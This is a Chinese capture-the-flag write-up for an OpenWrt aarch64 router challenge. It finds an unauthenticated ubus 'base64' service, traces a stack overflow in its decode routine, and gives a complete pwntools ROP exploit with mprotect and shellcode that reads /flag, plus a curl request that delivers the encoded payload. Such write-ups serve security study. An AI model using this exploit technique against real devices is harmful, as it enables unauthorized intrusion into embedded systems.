本文采取根据官方wp的方式进行复现,需要官方WP的pdf文件也可以在评论区留言(侵删)

文件系统分析

首先解压文件系统

1
2
3
mkdir rootfs
cd rootfs
unsquashfs ../unsquashfs ../squashfs-root.img

etc/os-release中我们能看到版本信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
NAME="OpenWrt"
VERSION="22.03.3"
ID="openwrt"
ID_LIKE="lede openwrt"
PRETTY_NAME="OpenWrt 22.03.3"
VERSION_ID="22.03.3"
HOME_URL="https://openwrt.org/"
BUG_URL="https://bugs.openwrt.org/"
SUPPORT_URL="https://forum.openwrt.org/"
BUILD_ID="r20028-43d71ad93e"
OPENWRT_BOARD="armvirt/64"
OPENWRT_ARCH="aarch64_cortex-a53"
OPENWRT_TAINTS=""
OPENWRT_DEVICE_MANUFACTURER="OpenWrt"
OPENWRT_DEVICE_MANUFACTURER_URL="https://openwrt.org/"
OPENWRT_DEVICE_PRODUCT="Generic"
OPENWRT_DEVICE_REVISION="v0"
OPENWRT_RELEASE="OpenWrt 22.03.3 r20028-43d71ad93e"

根据题目提示May be you need to do a diff with the rootfs in attachment.,我们可以利用其中的关键词,从openwrt中搜索到官方的文件系统,解压后进行diff比较

1
2
3
cd rootfs
unsquashfs ../openwrt-22.03.3-armvirt-64-rootfs-squashfs.img
diff -r squashfs-root squashfs-root-d3op

可得如下图结果

image-20230507175322524

可以看到题目的文件系统多了对二进制文件base64,以及其对应的ubus的rpc接口,且这个接口可以未经身份验证访问。

我们可以通过本机的127.0.0.1:9999查看路由器的登录入口,典型IOT

逆向分析

程序是去符号表的,不过简单逆向就能看出其逻辑,主函数如下

image-20230512143723652

可根据argv的参数决定输出,比如参数为list即可输出格式,call会调用decode或者encode函数,跟进函数sub_4064f0可以看到如下比较明显的框架:

image-20230512144108981

漏洞点在decode函数当中,观察如下两个部分

image-20230512144314406

image-20230512144326907

可以看到decode函数通过计算出output_len,并以此作为长度,先向v16中赋值解码好的数据,然后整个拷贝进入a2当中。

但在main函数中,我们的读入是4095,而这里并没有检测v16的长度,导致v16作为一个中间量出现溢出。

image-20230512144619845

此时看一眼base64二进制程序的保护,发现只有NX,那么就可以直接溢出构造ROP了

image-20230512144804176

漏洞利用

基本思路如下:

  • 利用溢出构造arm64架构下的ROP
  • 转成base64后用访问对应api接口即可

构造ROP以及base64转换部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
import base64
# context.log_level = "debug"
context.arch = "aarch64"
# p = process(["./base64", "decode"])
# elf = ELF("./elf")
# libc = ELF("./libc.so.6")
# 0x00000000004494b8 : ldr x0, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
set_x0 = 0x00000000004494b8
# 0x00000000004010ec : ldr x1, [sp, #0x28] ; add x0, x1, x0 ; ldp x29, x30, [sp],
#0x30 ; ret
set_x1 = 0x00000000004010ec
# call mprotect(x0[0x92] + x0[0x94], x0[0x93] - x0[0x94], 7)
call_mprotect = 0x00000000004579A4
shellcode = shellcraft.aarch64.linux.open("/flag", 0)
shellcode += shellcraft.aarch64.linux.read(3, 0x4a23a4, 0x100)
shellcode += '''
MOV X3, X0
LDR X1, =0x22
LDR X2, =0x4a23a3
STRB W1, [X3, X2]
LDR X1, =0x7d
LDR X2, =0x4a23a4
STRB W1, [X3, X2]
'''
shellcode += shellcraft.aarch64.linux.write(1, 0x4a2398, 0x100)
shellcode += '''
LDR X0, =1
LDR X9, =0x422D60
BLR X9
'''
payload = asm(shellcode,bits = 64)
payload = payload.ljust(0x200, b"\x00")
payload += p64(0)
payload += p64(0x4A3000)
payload += p64(0x4A2000)
payload = payload.ljust(0x300, b"\x00")
payload += b"{\"output\": \""
payload = payload.ljust(0x400, b"\x00")
payload += b"A\x00\x00\x00" # char1
payload += b"A\x00\x00\x00" # char2
payload += b"A\x00\x00\x00" # char3
payload += b"A\x00\x00\x00" # char3
payload += b"A\x00\x00\x00" # char4
payload += b"A\x00\x00\x00" # char4
payload += b"\x18\x06\x00\x00" # input lenght
payload += b"\x1d\x04\x00\x00" # output idx
payload += b"\x84\x05\x00\x00" # input idx
payload += b"\x92\x04\x00\x00" # output length
payload += p64(0x4A2500) # x29
payload += p64(set_x0) # x30
payload += p64(0) * 4
payload += p64(0x4A2500) # x29
payload += p64(call_mprotect) # x30
payload += p64(0x4A2298 - 0x490) # x0
payload += b"BBBBBBBB"
payload += b"CCCCCCCC"
payload += p64(0x4A2098)
payload += b"EEEEEEEE"
# p.sendline()
# p.interactive()
payload = base64.b64encode(payload)
print(payload)

shell脚本访问api接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
curl --location 'http://127.0.0.1:9999/ubus' \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"id": 1,
"method": "call",
"params": [
"00000000000000000000000000000000",
"base64",
"decode",
{
"input":
"7sWM0o4trPLuDMDy7g8f+IDzn9Lg/7/y4P/f8uD///LhAwCR4gMfqggHgNIBAADUYACA0oF0hNJBCaDyAiCA0ugHgNIBAADU4wMAquEBAFgCAgBYYWgiOAECAFgiAgBYYWgiOCAAgNIBc4TSQQmg8gIggNIICIDSAQAA1GABAFiJAQBYIAE/1iIAAAAAAAAAoyNKAAAAAAB9AAAAAAAAAKQjSgAAAAAAAQAAAAAAAABgLUIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwSgAAAAAAACBKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeyJvdXRwdXQiOiAiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEEAAABBAAAAQQAAAEEAAABBAAAAQQAAABgGAAAdBAAAhAUAAJIEAAAAJUoAAAAAALiURAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJUoAAAAAAKR5RQAAAAAACB5KAAAAAABCQkJCQkJCQkNDQ0NDQ0NDmCBKAAAAAABFRUVFRUVFRQ=="
}
]
}'